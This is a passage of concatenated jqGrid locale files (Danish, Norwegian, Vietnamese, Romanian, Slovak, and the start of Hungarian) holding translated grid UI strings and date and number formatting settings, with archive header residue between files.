"filter for" }, edit : { addCaption: "Tilføj", editCaption: "Ret", bSubmit: "Send", bCancel: "Annuller", bClose: "Luk", saveData: "Data has been changed! Save changes?", bYes : "Yes", bNo : "No", bExit : "Cancel", msg: { required:"Felt er nødvendigt", number:"Indtast venligst et validt tal", minValue:"værdi skal være større end eller lig med", maxValue:"værdi skal være mindre end eller lig med", email: "er ikke en valid email", integer: "Indtast venligst et validt heltalt", date: "Indtast venligst en valid datoværdi", url: "is not a valid URL. Prefix required ('http://' or 'https://')", nodefined : " is not defined!", novalue : " return value is required!", customarray : "Custom function should return array!", customfcheck : "Custom function should be present in case of custom checking!" } }, view : { caption: "View Record", bClose: "Close" }, del : { caption: "Slet", msg: "Slet valgte række(r)?", bSubmit: "Slet", bCancel: "Annuller" }, nav : { edittext: " ", edittitle: "Rediger valgte række", addtext:" ", addtitle: "Tilføj ny række", deltext: " ", deltitle: "Slet valgte række", searchtext: " ", searchtitle: "Find poster", refreshtext: "", refreshtitle: "Indlæs igen", alertcap: "Advarsel", alerttext: "Vælg venligst række", viewtext: "", viewtitle: "View selected row", savetext: "", savetitle: "Save row", canceltext: "", canceltitle : "Cancel row editing", selectcaption : "Actions..." }, col : { caption: "Vis/skjul kolonner", bSubmit: "Send", bCancel: "Annuller" }, errors : { errcap : "Fejl", nourl : "Ingel url valgt", norecords: "Ingen poster at behandle", model : "colNames og colModel har ikke samme længde!" }, formatter : { integer : {thousandsSeparator: " ", defaultValue: '0'}, number : {decimalSeparator:",", thousandsSeparator: " ", decimalPlaces: 2, defaultValue: '0,00'}, currency : {decimalSeparator:",", thousandsSeparator: " ", decimalPlaces: 2, prefix: "", suffix:"", defaultValue: '0,00'}, date : { dayNames: [ "Søn", "Man", "Tirs", "Ons", "Tors", "Fre", "Lør", "Søndag", "Mandag", "Tirsdag", "Onsdag", "Torsdag", "Fredag", "Lørdag" ], monthNames: [ "Jan", "Feb", "Mar", "Apr", "Maj", "Jun", "Jul", "Aug", "Sep", "Okt", "Nov", "Dec", "Januar", "Februar", "Marts", "April", "Maj", "Juni", "Juli", "August", "September", "Oktober", "November", "December" ], AmPm : ["","","",""], S: function (j) {return '.'}, srcformat: 'Y-m-d', newformat: 'd/m/Y', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { ISO8601Long:"Y-m-d H:i:s", ISO8601Short:"Y-m-d", ShortDate: "j/n/Y", LongDate: "l d. F Y", FullDateTime: "l d F Y G:i:s", MonthDay: "d. F", ShortTime: "G:i", LongTime: "G:i:s", SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", YearMonth: "F Y" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: '', target: '', checkbox : {disabled:true}, idName : 'id' }, colmenu : { sortasc : "Sort Ascending", sortdesc : "Sort Descending", columns : "Columns", filter : "Filter", grouping : "Group By", ungrouping : "Ungroup", searchTitle : "Get items with value that:", freeze : "Freeze", unfreeze : "Unfreeze", reorder : "Move to reorder", hovermenu: "Click for column quick actions" } }; // DK })); i18n/grid.locale-no.js000064400000012376151677266200010503 0ustar00//NORWAY /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["no"] = { defaults : { recordtext: "Rad {0} - {1}, totalt {2}", loadtext: "Laster...", pgtext: "Side {0} av {1}", savetext: "Saving...", pgfirst: "First Page", pglast: "Last Page", pgnext: "Next Page", pgprev: "Previous Page", pgrecs: "Records per Page", showhide: "Toggle Expand Collapse Grid", emptyrecords: "Ingen poster funnet", // mobile pagerCaption : "Grid::Page Settings", pageText : "Page:", recordPage : "Records per Page", nomorerecs : "No more records...", scrollPullup: "Pull up to load more...", scrollPulldown : "Pull down to refresh...", scrollRefresh : "Release to refresh...", valT : "checked", valF : "unchecked", selectLine : "Select row", selectAllLines : "Select all rows" }, search : { caption: "Søk...", Find: "Finn", Reset: "Nullstill", odata: [ {oper: 'eq', text: "lik"}, {oper: 'ne', text: "forskjellig fra"}, {oper: 'lt', text: "mindre enn"}, {oper: 'le', text: "mindre eller lik"}, {oper: 'gt', text: "større enn"}, {oper: 'ge', text: " større eller lik"}, {oper: 'bw', text: "starter med"}, {oper: 'ew', text: "slutter med"}, {oper: 'cn', text: "inneholder"}, { oper: 'nu', text: 'is null'}, { oper: 'nn', text: 'is not null'}, {oper:'bt', text:'between'} ], operandTitle: "Click to select search operation.", resetTitle: "Reset Search Value", addsubgrup : "Add subgroup", addrule : "Add rule", delgroup : "Delete group", delrule : "Delete rule", Close : "Close", Operand : "Operand : ", Operation : "Oper : ", filterFor : "filter for" }, edit : {addCaption: "Ny rad", editCaption: "Rediger", bSubmit: "Send", bCancel: "Avbryt", bClose: "Lukk", processData: "Laster...", msg: {required: "Felt er obligatorisk", number: "Legg inn et gyldig tall", minValue: "verdi mø vøre større enn eller lik", maxValue: "verdi må være mindre enn eller lik", email: "er ikke en gyldig e-post adresse", integer: "Legg inn et gyldig heltall", date: "Legg inn en gyldig dato", url: "er ikke en gyldig URL. Prefiks påkrevd ('http://' eller 'https://')", nodefined: " er ikke definert!", novalue: " returverdi er påkrevd!", customarray: "Tilpasset funksjon må returnere en tabell!", customfcheck: "Tilpasset funksjon må eksistere!"}}, view : {caption: "Åpne post", bClose: "Lukk"}, del : {caption: "Slett", msg: "Slett valgte rad(er)?", bSubmit: "Slett", bCancel: "Avbryt", processData: "Behandler..."}, nav : {edittext: " ", edittitle: "Rediger valgte rad(er)", addtext: " ", addtitle: "Legg til ny rad", deltext: " ", deltitle: "Slett valgte rad(er)", searchtext: " ", searchtitle: "Søk", refreshtext: "", refreshtitle: "Oppdater tabell", alertcap: "Advarsel", alerttext: "Velg rad", viewtext: " ", viewtitle: "Åpne valgt rad", savetext: "", savetitle: "Save row", canceltext: "", canceltitle : "Cancel row editing", selectcaption : "Actions..." }, col : {caption: "Vis/skjul kolonner", bSubmit: "Utfør", bCancel: "Avbryt"}, errors : {errcap: "Feil", nourl: "Ingen url er satt", norecords: "Ingen poster å behandle", model: "colNames og colModel har forskjellig lengde!"}, formatter : {integer: {thousandsSeparator: " ", defaultValue: 0}, number: {decimalSeparator: ",", thousandsSeparator: " ", decimalPlaces: 2, defaulValue: 0}, currency: {decimalSeparator: ",", thousandsSeparator: " ", decimalPlaces: 2, prefix: "", suffix: "", defaulValue: 0}, date: {dayNames: ["sø.", "ma.", "ti.", "on.", "to.", "fr.", "lø.", "Søndag", "Mandag", "Tirsdag", "Onsdag", "Torsdag", "Fredag", "Lørdag"], monthNames: ["jan.", "feb.", "mars", "april", "mai", "juni", "juli", "aug.", "sep.", "okt.", "nov.", "des.", "januar", "februar", "mars", "april", "mai", "juni", "juli", "august", "september", "oktober", "november", "desember"], AmPm: ["", "", "", ""], S: function (b) { return"."; }, srcformat: "Y-m-d H:i:s", newformat: "Y-m-d H:i:s", parseRe: /[#%\\\/:_;.,\t\s-]/, masks: {ISO8601Long: "Y-m-d H:i:s", ISO8601Short: "Y-m-d", ShortDate: "j.n.Y", LongDate: "l j. F Y", FullDateTime: "l j. F Y kl. G.i.s", MonthDay: "j. F", ShortTime: "H:i", LongTime: "H:i:s", SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", YearMonth: "F Y"}, reformatAfterEdit: false, userLocalTime: false}, baseLinkUrl: "", showAction: "show", addParam: "", checkbox: {disabled: true} }, colmenu : { sortasc : "Sort Ascending", sortdesc : "Sort Descending", columns : "Columns", filter : "Filter", grouping : "Group By", ungrouping : "Ungroup", searchTitle : "Get items with value that:", freeze : "Freeze", unfreeze : "Unfreeze", reorder : "Move to reorder", hovermenu: "Click for column quick actions" } }; })); i18n/grid.locale-vi.js000064400000021316151677266200010477 0ustar00/** * jqGrid Vietnamese Translation * Lê Đình Dũng dungtdc@gmail.com * http://trirand.com/blog/ * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["vi"] = { defaults : { recordtext: "View {0} - {1} of {2}", emptyrecords: "Không có dữ liệu", loadtext: "Đang nạp dữ liệu...", pgtext : "Trang {0} trong tổng số {1}", savetext: "Saving...", pgfirst : "First Page", pglast : "Last Page", pgnext : "Next Page", pgprev : "Previous Page", pgrecs : "Records per Page", showhide: "Toggle Expand Collapse Grid", // mobile pagerCaption : "Grid::Page Settings", pageText : "Page:", recordPage : "Records per Page", nomorerecs : "No more records...", scrollPullup: "Pull up to load more...", scrollPulldown : "Pull down to refresh...", scrollRefresh : "Release to refresh...", valT : "checked", valF : "unchecked", selectLine : "Select row", selectAllLines : "Select all rows" }, search : { caption: "Tìm kiếm...", Find: "Tìm", Reset: "Khởi tạo lại", odata: [{ oper:'eq', text:"bằng"},{ oper:'ne', text:"không bằng"},{ oper:'lt', text:"bé hơn"},{ oper:'le', text:"bé hơn hoặc bằng"},{ oper:'gt', text:"lớn hơn"},{ oper:'ge', text:"lớn hơn hoặc bằng"},{ oper:'bw', text:"bắt đầu với"},{ oper:'bn', text:"không bắt đầu với"},{ oper:'in', text:"trong"},{ oper:'ni', text:"không nằm trong"},{ oper:'ew', text:"kết thúc với"},{ oper:'en', text:"không kết thúc với"},{ oper:'cn', text:"chứa"},{ oper:'nc', text:"không chứa"},{ oper:'nu', text:'is null'},{ oper:'nn', text:'is not null'}, {oper:'bt', text:'between'}], groupOps: [ { op: "VÀ", text: "tất cả" }, { op: "HOẶC", text: "bất kỳ" } ], operandTitle : "Click to select search operation.", resetTitle : "Reset Search Value", addsubgrup : "Add subgroup", addrule : "Add rule", delgroup : "Delete group", delrule : "Delete rule", Close : "Close", Operand : "Operand : ", Operation : "Oper : ", filterFor : "filter for" }, edit : { addCaption: "Thêm bản ghi", editCaption: "Sửa bản ghi", bSubmit: "Gửi", bCancel: "Hủy bỏ", bClose: "Đóng", saveData: "Dữ liệu đã thay đổi! Có lưu thay đổi không?", bYes : "Có", bNo : "Không", bExit : "Hủy bỏ", msg: { required:"Trường dữ liệu bắt buộc có", number:"Hãy điền đúng số", minValue:"giá trị phải lớn hơn hoặc bằng với ", maxValue:"giá trị phải bé hơn hoặc bằng", email: "không phải là một email đúng", integer: "Hãy điền đúng số nguyên", date: "Hãy điền đúng ngày tháng", url: "không phải là URL. Khởi đầu bắt buộc là ('http://' hoặc 'https://')", nodefined : " chưa được định nghĩa!", novalue : " giá trị trả về bắt buộc phải có!", customarray : "Hàm nên trả về một mảng!", customfcheck : "Custom function should be present in case of custom checking!" } }, view : { caption: "Xem bản ghi", bClose: "Đóng" }, del : { caption: "Xóa", msg: "Xóa bản ghi đã chọn?", bSubmit: "Xóa", bCancel: "Hủy bỏ" }, nav : { edittext: "", edittitle: "Sửa dòng đã chọn", addtext:"", addtitle: "Thêm mới 1 dòng", deltext: "", deltitle: "Xóa dòng đã chọn", searchtext: "", searchtitle: "Tìm bản ghi", refreshtext: "", refreshtitle: "Nạp lại lưới", alertcap: "Cảnh báo", alerttext: "Hãy chọn một dòng", viewtext: "", viewtitle: "Xem dòng đã chọn", savetext: "", savetitle: "Save row", canceltext: "", canceltitle : "Cancel row editing", selectcaption : "Actions..." }, col : { caption: "Chọn cột", bSubmit: "OK", bCancel: "Hủy bỏ" }, errors : { errcap : "Lỗi", nourl : "không url được đặt", norecords: "Không có bản ghi để xử lý", model : "Chiều dài của colNames <> colModel!" }, formatter : { integer : {thousandsSeparator: ".", defaultValue: '0'}, number : {decimalSeparator:",", thousandsSeparator: ".", decimalPlaces: 2, defaultValue: '0'}, currency : {decimalSeparator:",", thousandsSeparator: ".", decimalPlaces: 2, prefix: "", suffix:"", defaultValue: '0'}, date : { dayNames: [ "CN", "T2", "T3", "T4", "T5", "T6", "T7", "Chủ nhật", "Thứ hai", "Thứ ba", "Thứ tư", "Thứ năm", "Thứ sáu", "Thứ bảy" ], monthNames: [ "Th1", "Th2", "Th3", "Th4", "Th5", "Th6", "Th7", "Th8", "Th9", "Th10", "Th11", "Th12", "Tháng một", "Tháng hai", "Tháng ba", "Tháng tư", "Tháng năm", "Tháng sáu", "Tháng bảy", "Tháng tám", "Tháng chín", "Tháng mười", "Tháng mười một", "Tháng mười hai" ], AmPm : ["sáng","chiều","SÁNG","CHIỀU"], S: function (j) {return j < 11 || j > 13 ? ['st', 'nd', 'rd', 'th'][Math.min((j - 1) % 10, 3)] : 'th';}, srcformat: 'Y-m-d', newformat: 'n/j/Y', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { // see http://php.net/manual/en/function.date.php for PHP format used in jqGrid // and see http://docs.jquery.com/UI/Datepicker/formatDate // and https://github.com/jquery/globalize#dates for alternative formats used frequently // one can find on https://github.com/jquery/globalize/tree/master/lib/cultures many // information about date, time, numbers and currency formats used in different countries // one should just convert the information in PHP format ISO8601Long:"Y-m-d H:i:s", ISO8601Short:"Y-m-d", // short date: // n - Numeric representation of a month, without leading zeros // j - Day of the month without leading zeros // Y - A full numeric representation of a year, 4 digits // example: 3/1/2012 which means 1 March 2012 ShortDate: "n/j/Y", // in jQuery UI Datepicker: "M/d/yyyy" // long date: // l - A full textual representation of the day of the week // F - A full textual representation of a month // d - Day of the month, 2 digits with leading zeros // Y - A full numeric representation of a year, 4 digits LongDate: "l, F d, Y", // in jQuery UI Datepicker: "dddd, MMMM dd, yyyy" // long date with long time: // l - A full textual representation of the day of the week // F - A full textual representation of a month // d - Day of the month, 2 digits with leading zeros // Y - A full numeric representation of a year, 4 digits // g - 12-hour format of an hour without leading zeros // i - Minutes with leading zeros // s - Seconds, with leading zeros // A - Uppercase Ante meridiem and Post meridiem (AM or PM) FullDateTime: "l, F d, Y g:i:s A", // in jQuery UI Datepicker: "dddd, MMMM dd, yyyy h:mm:ss tt" // month day: // F - A full textual representation of a month // d - Day of the month, 2 digits with leading zeros MonthDay: "F d", // in jQuery UI Datepicker: "MMMM dd" // short time (without seconds) // g - 12-hour format of an hour without leading zeros // i - Minutes with leading zeros // A - Uppercase Ante meridiem and Post meridiem (AM or PM) ShortTime: "g:i A", // in jQuery UI Datepicker: "h:mm tt" // long time (with seconds) // g - 12-hour format of an hour without leading zeros // i - Minutes with leading zeros // s - Seconds, with leading zeros // A - Uppercase Ante meridiem and Post meridiem (AM or PM) LongTime: "g:i:s A", // in jQuery UI Datepicker: "h:mm:ss tt" SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", // month with year // Y - A full numeric representation of a year, 4 digits // F - A full textual representation of a month YearMonth: "F, Y" // in jQuery UI Datepicker: "MMMM, yyyy" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: '', target: '', checkbox : {disabled:true}, idName : 'id' }, colmenu : { sortasc : "Sort Ascending", sortdesc : "Sort Descending", columns : "Columns", filter : "Filter", grouping : "Group By", ungrouping : "Ungroup", searchTitle : "Get items with value that:", freeze : "Freeze", unfreeze : "Unfreeze", reorder : "Move to reorder", hovermenu: "Click for column quick actions" } }; })); i18n/grid.locale-ro.js000064400000015373151677266200010507 0ustar00/** * jqGrid Romanian Translation * Alexandru Emil Lupu contact@alecslupu.ro * http://www.alecslupu.ro/ * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["ro"] = { defaults : { recordtext: "Vizualizare {0} - {1} din {2}", emptyrecords: "Nu există înregistrări de vizualizat", loadtext: "Încărcare...", pgtext : "Pagina {0} din {1}", savetext: "Salvare...", pgfirst : "Prima pagină", pglast : "Ultima pagină", pgnext : "Următoarea pagină", pgprev : "Pagina anterioară", pgrecs : "Înregistrări pe pagină", showhide: "Comutați Extindeți Restrângeți grila", // mobile pagerCaption : "Setări Grid::Page", pageText : "Pagina:", recordPage : "Înregistrări pe pagină", nomorerecs : "Nu mai există înregistrări...", scrollPullup: "Trageți în sus pentru a încărca mai multe...", scrollPulldown : "Trageți în jos pentru a reîmprospăta...", scrollRefresh : "Eliberați pentru a reîmprospăta...", valT : "checked", valF : "unchecked", selectLine : "Select row", selectAllLines : "Select all rows" }, search : { caption: "Caută...", Find: "Caută", Reset: "Resetare", odata: [{ oper:'eq', text:"egal"},{ oper:'ne', text:"diferit"},{ oper:'lt', text:"mai mic"},{ oper:'le', text:"mai mic sau egal"},{ oper:'gt', text:"mai mare"},{ oper:'ge', text:"mai mare sau egal"},{ oper:'bw', text:"începe cu"},{ oper:'bn', text:"nu începe cu"},{ oper:'in', text:"se găsește în"},{ oper:'ni', text:"nu se găsește în"},{ oper:'ew', text:"se termină cu"},{ oper:'en', text:"nu se termină cu"},{ oper:'cn', text:"conține"},{ oper:'nc', text:""},{ oper:'nu', text:'is null'},{ oper:'nn', text:'is not null'}, {oper:'bt', text:'between'}], groupOps: [ { op: "AND", text: "toate" }, { op: "OR", text: "oricare" } ], operandTitle : "Faceți clic pentru a selecta operația de căutare.", resetTitle : "Resetați valoarea căutării", addsubgrup : "Adăugați subgrup", addrule : "Adăugați o regulă", delgroup : "Șterge grupul", delrule : "Ștergeți regula", Close : "Închide", Operand : "Operand : ", Operation : "Operație : ", filterFor : "filter for" }, edit : { addCaption: "Adăugare înregistrare", editCaption: "Modificare înregistrare", bSubmit: "Salvează", bCancel: "Anulare", bClose: "Închide", saveData: "Informațiile au fost modificate! Salvați modificările?", bYes : "Da", bNo : "Nu", bExit : "Anulare", msg: { required:"Câmpul este obligatoriu", number:"Vă rugăm introduceți un număr valid", minValue:"valoarea trebuie sa fie mai mare sau egală cu", maxValue:"valoarea trebuie sa fie mai mică sau egală cu", email: "nu este o adresă de e-mail validă", integer: "Vă rugăm introduceți un număr valid", date: "Vă rugăm să introduceți o dată validă", url: "Nu este un URL valid. Prefixul este necesar('http://' or 'https://')", nodefined : " nu este definit!", novalue : " valoarea returnată este necesară!", customarray : "Funcția personalizată ar trebui să returneze Array!", customfcheck : "Funcția personalizată ar trebui să fie prezentă în cazul verificării personalizate!" } }, view : { caption: "Vizualizare înregistrare", bClose: "Închidere" }, del : { caption: "Ștegere", msg: "Ștergeți înregistrarea (înregistrările) selectate?", bSubmit: "Șterge", bCancel: "Anulare" }, nav : { edittext: "", edittitle: "Modifică rândul selectat", addtext:"", addtitle: "Adaugă rând nou", deltext: "", deltitle: "Șterge rândul selectat", searchtext: "", searchtitle: "Căutare înregistrări", refreshtext: "", refreshtitle: "Reîncarcare Grid", alertcap: "Avertisment", alerttext: "Vă rugăm să selectați un rând", viewtext: "", viewtitle: "Vizualizează rândul selectat", savetext: "", savetitle: "Salvați rândul", canceltext: "", canceltitle : "Anulați editarea rândurilor", selectcaption : "Acțiuni..." }, col : { caption: "Arată/Ascunde coloanele", bSubmit: "Salvează", bCancel: "Anulare" }, errors : { errcap : "Eroare", nourl : "Niciun url nu este setat", norecords: "Nu sunt înregistrări de procesat", model : "Lungimea colNames <> colModel!" }, formatter : { integer : {thousandsSeparator: " ", defaultValue: '0'}, number : {decimalSeparator:",", thousandsSeparator: " ", decimalPlaces: 2, defaultValue: '0,00'}, currency : {decimalSeparator:",", thousandsSeparator: " ", decimalPlaces: 2, prefix: "", suffix:"", defaultValue: '0,00'}, date : { dayNames: [ "Dum", "Lun", "Mar", "Mie", "Joi", "Vin", "Sâm", "Duminică", "Luni", "Marți", "Miercuri", "Joi", "Vineri", "Sâmbătă" ], monthNames: [ "Ian", "Feb", "Mar", "Apr", "Mai", "Iun", "Iul", "Aug", "Sep", "Oct", "Noi", "Dec", "Ianuarie", "Februarie", "Martie", "Aprilie", "Mai", "Iunie", "Iulie", "August", "Septembrie", "Octombrie", "Noiembrie", "Decembrie" ], AmPm : ["am","pm","AM","PM"], /* Here is a problem in romanian: M / F 1st = primul / prima 2nd = Al doilea / A doua 3rd = Al treilea / A treia 4th = Al patrulea/ A patra 5th = Al cincilea / A cincea 6th = Al șaselea / A șasea 7th = Al șaptelea / A șaptea .... */ S: function (j) {return j < 11 || j > 13 ? ['st', 'nd', 'rd', 'th'][Math.min((j - 1) % 10, 3)] : 'th'}, srcformat: 'Y-m-d', newformat: 'd/m/Y', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { ISO8601Long:"Y-m-d H:i:s", ISO8601Short:"Y-m-d", ShortDate: "n/j/Y", LongDate: "l, F d, Y", FullDateTime: "l, F d, Y g:i:s A", MonthDay: "F d", ShortTime: "g:i A", LongTime: "g:i:s A", SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", YearMonth: "F, Y" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: '', target: '', checkbox : {disabled:true}, idName : 'id' }, colmenu : { sortasc : "Sortare ascendentă", sortdesc : "Sortează descrescător", columns : "Coloane", filter : "Filtru", grouping : "Grupează după", ungrouping : "Eliminarea Gruparea", searchTitle : "Obțineți elemente cu valoare care:", freeze : "Freeze", unfreeze : "Unfreeze", reorder : "Mutați pentru a reordona", hovermenu: "Faceți clic pentru acțiuni rapide pe coloană" } }; })); i18n/grid.locale-sk.js000064400000014151151677266200010475 0ustar00/** * jqGrid Slovak Translation * Milan Cibulka * http://trirand.com/blog/ * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["sk"] = { defaults : { recordtext: "Zobrazených {0} - {1} z {2} záznamov", emptyrecords: "Neboli nájdené žiadne záznamy", loadtext: "Načítám...", pgtext : "Strana {0} z {1}", savetext: "Saving...", pgfirst : "First Page", pglast : "Last Page", pgnext : "Next Page", pgprev : "Previous Page", pgrecs : "Records per Page", showhide: "Toggle Expand Collapse Grid", // mobile pagerCaption : "Grid::Page Settings", pageText : "Page:", recordPage : "Records per Page", nomorerecs : "No more records...", scrollPullup: "Pull up to load more...", scrollPulldown : "Pull down to refresh...", scrollRefresh : "Release to refresh...", valT : "checked", valF : "unchecked", selectLine : "Select row", selectAllLines : "Select all rows" }, search : { caption: "Vyhľadávam...", Find: "Hľadať", Reset: "Reset", odata: [{ oper:'eq', text:"rovná sa"},{ oper:'ne', text:"nerovná sa"},{ oper:'lt', text:"menšie"},{ oper:'le', text:"menšie alebo rovnajúce sa"},{ oper:'gt', text:"väčšie"},{ oper:'ge', text:"väčšie alebo rovnajúce sa"},{ oper:'bw', text:"začína s"},{ oper:'bn', text:"nezačína s"},{ oper:'in', text:"je v"},{ oper:'ni', text:"nie je v"},{ oper:'ew', text:"končí s"},{ oper:'en', text:"nekončí s"},{ oper:'cn', text:"obahuje"},{ oper:'nc', text:"neobsahuje"},{ oper:'nu', text:'is null'},{ oper:'nn', text:'is not null'}, {oper:'bt', text:'between'}], groupOps: [ { op: "AND", text: "všetkých" }, { op: "OR", text: "niektorého z" } ], operandTitle : "Click to select search operation.", resetTitle : "Reset Search Value", addsubgrup : "Add subgroup", addrule : "Add rule", delgroup : "Delete group", delrule : "Delete rule", Close : "Close", Operand : "Operand : ", Operation : "Oper : ", filterFor : "filter for" }, edit : { addCaption: "Pridať záznam", editCaption: "Editácia záznamov", bSubmit: "Uložiť", bCancel: "Storno", bClose: "Zavrieť", saveData: "Údaje boli zmenené! Uložiť zmeny?", bYes : "Ano", bNo : "Nie", bExit : "Zrušiť", msg: { required:"Pole je požadované", number:"Prosím, vložte valídne číslo", minValue:"hodnota musí býť väčšia ako alebo rovná ", maxValue:"hodnota musí býť menšia ako alebo rovná ", email: "nie je valídny e-mail", integer: "Prosím, vložte celé číslo", date: "Prosím, vložte valídny dátum", url: "nie je platnou URL. Požadovaný prefix ('http://' alebo 'https://')", nodefined : " nie je definovaný!", novalue : " je vyžadovaná návratová hodnota!", customarray : "Custom function mala vrátiť pole!", customfcheck : "Custom function by mala byť prítomná v prípade custom checking!" } }, view : { caption: "Zobraziť záznam", bClose: "Zavrieť" }, del : { caption: "Zmazať", msg: "Zmazať vybraný(é) záznam(y)?", bSubmit: "Zmazať", bCancel: "Storno" }, nav : { edittext: " ", edittitle: "Editovať vybraný riadok", addtext:" ", addtitle: "Pridať nový riadek", deltext: " ", deltitle: "Zmazať vybraný záznam ", searchtext: " ", searchtitle: "Nájsť záznamy", refreshtext: "", refreshtitle: "Obnoviť tabuľku", alertcap: "Varovanie", alerttext: "Prosím, vyberte riadok", viewtext: "", viewtitle: "Zobraziť vybraný riadok", savetext: "", savetitle: "Save row", canceltext: "", canceltitle : "Cancel row editing", selectcaption : "Actions..." }, col : { caption: "Zobrazit/Skrýť stĺpce", bSubmit: "Uložiť", bCancel: "Storno" }, errors : { errcap : "Chyba", nourl : "Nie je nastavená url", norecords: "Žiadne záznamy k spracovaniu", model : "Dĺžka colNames <> colModel!" }, formatter : { integer : {thousandsSeparator: " ", defaultValue: '0'}, number : {decimalSeparator:".", thousandsSeparator: " ", decimalPlaces: 2, defaultValue: '0.00'}, currency : {decimalSeparator:".", thousandsSeparator: " ", decimalPlaces: 2, prefix: "", suffix:"", defaultValue: '0.00'}, date : { dayNames: [ "Ne", "Po", "Ut", "St", "Št", "Pi", "So", "Nedela", "Pondelok", "Utorok", "Streda", "Štvrtok", "Piatek", "Sobota" ], monthNames: [ "Jan", "Feb", "Mar", "Apr", "Máj", "Jún", "Júl", "Aug", "Sep", "Okt", "Nov", "Dec", "Január", "Február", "Marec", "Apríl", "Máj", "Jún", "Júl", "August", "September", "Október", "November", "December" ], AmPm : ["do","od","DO","OD"], S: function (j) {return j < 11 || j > 13 ? ['st', 'nd', 'rd', 'th'][Math.min((j - 1) % 10, 3)] : 'th'}, srcformat: 'Y-m-d', newformat: 'd/m/Y', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { ISO8601Long:"Y-m-d H:i:s", ISO8601Short:"Y-m-d", ShortDate: "n/j/Y", LongDate: "l, F d, Y", FullDateTime: "l, F d, Y g:i:s A", MonthDay: "F d", ShortTime: "g:i A", LongTime: "g:i:s A", SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", YearMonth: "F, Y" }, reformatAfterEdit : false, userLocalTime : false }, baseLinkUrl: '', showAction: '', target: '', checkbox : {disabled:true}, idName : 'id' }, colmenu : { sortasc : "Sort Ascending", sortdesc : "Sort Descending", columns : "Columns", filter : "Filter", grouping : "Group By", ungrouping : "Ungroup", searchTitle : "Get items with value that:", freeze : "Freeze", unfreeze : "Unfreeze", reorder : "Move to reorder", hovermenu: "Click for column quick actions" } }; })); i18n/grid.locale-hu.js000064400000013735151677266200010503 0ustar00/** * jqGrid Hungarian Translation * Őrszigety Ádám udx6bs@freemail.hu * http://trirand.com/blog/ * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "../grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { $.jgrid = $.jgrid || {}; if(!$.jgrid.hasOwnProperty("regional")) { $.jgrid.regional = []; } $.jgrid.regional["hu"] = { defaults : { recordtext: "Oldal {0} - {1} / {2}", emptyrecords: "Nincs találat", loadtext: "Betöltés...", pgtext : "Oldal {0} / {1}", savetext: "Mentés...", pgfirst : "Első oldal", pglast : "Utolsó oldal", pgnext : "Következő oldal", pgprev : "Előző oldal", pgrecs : "Rekordok oldalanként", showhide: "Toggle Expand Collapse Grid", // mobile pagerCaption : "Grid::Page Settings", pageText : "Oldal:", recordPage : "Rekordok oldalanként", nomorerecs : "Nincs több rekord...", scrollPullup: "Pull up to load more...", scrollPulldown : "Pull down to refresh...", scrollRefresh : "Release to refresh...", valT : "checked", valF : "unchecked", selectLine : "Select row", selectAllLines : "Select all rows" }, search : { caption: "Keresés...", Find: "Keres", Reset: "Alapértelmezett", odata: [{ oper:'eq', text:"egyenlő"},{ oper:'ne', text:"nem egyenlő"},{ oper:'lt', text:"kevesebb"},{ oper:'le', text:"kevesebb vagy egyenlő"},{ oper:'gt', text:"nagyobb"},{ oper:'ge', text:"nagyobb vagy egyenlő"},{ oper:'bw', text:"ezzel kezdődik"},{ oper:'bn', text:"nem ezzel kezdődik"},{ oper:'in', text:"tartalmaz"},{ oper:'ni', text:"nem tartalmaz"},{ oper:'ew', text:"végződik"},{ oper:'en', text:"nem végződik"},{ oper:'cn', text:"tartalmaz"},{ oper:'nc', text:"nem tartalmaz"},{ oper:'nu', text:'is null'},{ oper:'nn', text:'is not null'}, {oper:'bt', text:'között'}], groupOps: [ { op: "AND", text: 